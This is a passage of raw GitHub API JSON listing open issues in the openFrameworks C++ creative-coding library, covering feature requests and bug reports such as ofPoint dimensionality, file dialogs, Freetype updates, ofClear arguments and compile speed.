38Z","updated_at":"2011-01-14T01:33:38Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"some of the core functions only work with 2d points, others only with 3d points, some work with both. but they all take ofPoints.\r\n\r\nit's good for teaching purposes to have ofPoints because you don't have to explain what a 'vector' is, but it's unclear for advanced users whether the functions take 2d or 3d points..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/337","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/337/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/337/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/337/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/337","id":523837,"number":337,"title":"ofFileDialog allow folder selection ( works on os x ) needs code for win and linux","user":{"login":"ofTheo","id":144000,"avatar_url":"https://0.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https%3A%2F%2Fidenticons.github.com%2F4927fe2904a479337f27af83d0ab970f.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://1.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https%3A%2F%2Fidenticons.github.com%2Fd6a785f81d36e5ce6bd64105058af796.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":53,"closed_issues":8,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-08-21T01:16:45Z","due_on":"2013-10-31T07:00:00Z"},"comments":7,"created_at":"2011-01-13T05:21:53Z","updated_at":"2013-02-11T12:13:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/305","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/305/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/305/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/305/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/305","id":516844,"number":305,"title":"no implementation in ofBaseTypes","user":{"login":"arturoc","id":48240,"avatar_url":"https://1.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https%3A%2F%2Fidenticons.github.com%2Fd6a785f81d36e5ce6bd64105058af796.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-10T06:36:27Z","updated_at":"2011-01-10T06:36:27Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"better to use aggregation (helper classes/functions) if necessary for common functionality that have implementation in those classes. making them pure abstract classes will avoid problems with multiple inheritance and easier to extend in case of different behaviour"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/302","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/302/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/302/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/302/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/302","id":516565,"number":302,"title":"Remove Poco CppUnit from all projects ( done on os x )","user":{"login":"ofTheo","id":144000,"avatar_url":"https://0.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https%3A%2F%2Fidenticons.github.com%2F4927fe2904a479337f27af83d0ab970f.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://1.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https%3A%2F%2Fidenticons.github.com%2Fd6a785f81d36e5ce6bd64105058af796.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":53,"closed_issues":8,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-08-21T01:16:45Z","due_on":"2013-10-31T07:00:00Z"},"comments":3,"created_at":"2011-01-10T02:39:28Z","updated_at":"2013-02-11T12:13:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/298","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/298/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/298/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/298/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/298","id":516559,"number":298,"title":"Update Freetype to latest versions. ","user":{"login":"ofTheo","id":144000,"avatar_url":"https://0.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https%3A%2F%2Fidenticons.github.com%2F4927fe2904a479337f27af83d0ab970f.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://1.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https%3A%2F%2Fidenticons.github.com%2Fd6a785f81d36e5ce6bd64105058af796.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":53,"closed_issues":8,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-08-21T01:16:45Z","due_on":"2013-10-31T07:00:00Z"},"comments":6,"created_at":"2011-01-10T02:37:49Z","updated_at":"2013-07-22T16:14:50Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/292","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/292/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/292/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/292/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/292","id":516071,"number":292,"title":"ofTexture should be more flexible","user":{"login":"I33N","id":520375,"avatar_url":"https://1.gravatar.com/avatar/ba8d7c3b4532d3747c30b9be91dc20d5?d=https%3A%2F%2Fidenticons.github.com%2F029dd6120545e3ca65422e4479af8e99.png","gravatar_id":"ba8d7c3b4532d3747c30b9be91dc20d5","url":"https://api.github.com/users/I33N","html_url":"https://github.com/I33N","followers_url":"https://api.github.com/users/I33N/followers","following_url":"https://api.github.com/users/I33N/following{/other_user}","gists_url":"https://api.github.com/users/I33N/gists{/gist_id}","starred_url":"https://api.github.com/users/I33N/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/I33N/subscriptions","organizations_url":"https://api.github.com/users/I33N/orgs","repos_url":"https://api.github.com/users/I33N/repos","events_url":"https://api.github.com/users/I33N/events{/privacy}","received_events_url":"https://api.github.com/users/I33N/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-09T20:46:43Z","updated_at":"2011-01-09T20:46:43Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I think the pixeltype, the gltypeinternal and the gltype should be accessible to the user as well as the loadData(void * data, int w, int h, int glDataType) which is actually protected.\r\n\r\nActual implementation is only limited to a few choice of internalFormat which lead to choice of pixeltype and gltype. It thus doesn't allow from user specific type."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/275","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/275/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/275/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/275/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/275","id":445829,"number":275,"title":"atexit(ofExitCallback);","user":{"login":"vanderlin","id":149997,"avatar_url":"https://0.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https%3A%2F%2Fidenticons.github.com%2F9e9c49562cad72e3a40a0e2078c45a2b.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","html_url":"https://github.com/vanderlin","followers_url":"https://api.github.com/users/vanderlin/followers","following_url":"https://api.github.com/users/vanderlin/following{/other_user}","gists_url":"https://api.github.com/users/vanderlin/gists{/gist_id}","starred_url":"https://api.github.com/users/vanderlin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vanderlin/subscriptions","organizations_url":"https://api.github.com/users/vanderlin/orgs","repos_url":"https://api.github.com/users/vanderlin/repos","events_url":"https://api.github.com/users/vanderlin/events{/privacy}","received_events_url":"https://api.github.com/users/vanderlin/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2010-11-30T05:13:10Z","updated_at":"2013-03-26T06:42:32Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This is giving me some crashes. There needs to be a way to disable this when making custom windows. I have tried to do atexit(NULL); but the callback in ofRunApp(ofBaseApp * OFSA) is still being called. \r\n\r\nmaybe something like:\r\n\r\nvoid ofRunApp(ofBaseApp * OFSA, bool useExitCallback);\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/271","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/271/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/271/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/271/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/271","id":433297,"number":271,"title":"ofDrawBitmapString draws from bottom left","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://1.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https%3A%2F%2Fidenticons.github.com%2F415d63db900c8f799d40632b6eed98dc.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":7,"created_at":"2010-11-22T21:30:40Z","updated_at":"2011-03-17T02:02:25Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"bottom left corner is inconsistent with every other drawing command in OF, should be top left instead."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/264","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/264/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/264/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/264/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/264","id":425675,"number":264,"title":"ofClear uses inconsistent arguments","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://1.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https%3A%2F%2Fidenticons.github.com%2F415d63db900c8f799d40632b6eed98dc.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":5,"created_at":"2010-11-18T06:15:47Z","updated_at":"2013-06-14T22:15:12Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofClear(r,g,b) is inconsistent with ofBackground(r,g,b) because the alpha is 0 by default -- meaning you always have to explicitly declare the alpha to clear the background.\r\n\r\nfurthermore, because all the arguments have default values there is not/cannot exist an ofClear(gray, alpha) to match ofSetColor style"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/255","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/255/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/255/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/255/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/255","id":413771,"number":255,"title":"COMPILE SPEED UP - cleanup internal includes to avoid ofMain.h and ofConstants.h","user":{"login":"ofTheo","id":144000,"avatar_url":"https://0.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https%3A%2F%2Fidenticons.github.com%2F4927fe2904a479337f27af83d0ab970f.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":{"login":"ofTheo","id":144000,"avatar_url":"https://0.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https%3A%2F%2Fidenticons.github.com%2F4927fe2904a479337f27af83d0ab970f.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":53,"closed_issues":8,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-08-21T01:16:45Z","due_on":"2013-10-31T07:00:00Z"},"comments":6,"created_at":"2010-11-11T21:14:05Z","updated_at":"2013-06-27T14:50:24Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"A lot of OF files are including ofMain / ofConstants.h - this makes compiles super slow. Try to have files only include what they need. Or find a way to break things up into the most often used ( windows.h etc ) and less used. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/249","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/249/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/249/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/249/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/249","id":399214,"number":249,"title":"normalize option nomenclature (hide/enable/set/etc.)","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://1.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https%3A%2F%2Fidenticons.github.com%2F415d63db900c8f799d40632b6eed98dc.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2010-11-03T22:52:08Z","updated_at":"2011-12-02T20:11:33Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofHideCursor()/ofShowCursor()\r\n\r\nofEnableArbTex()\r\nofEnableSetupScreen()\r\nofEnableDataPath()\r\nofEnableAlphaBlending()\r\nofEnableSmoothing()\r\n\r\nofSetFullscreen() + ofToggleFullscreen()\r\nofSetVerticalSync()\r\n\r\netc."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/245","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/245/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/245/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/245/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/245","id":360885,"number":245,"title":"gstreamer problems with streaming of microsoft 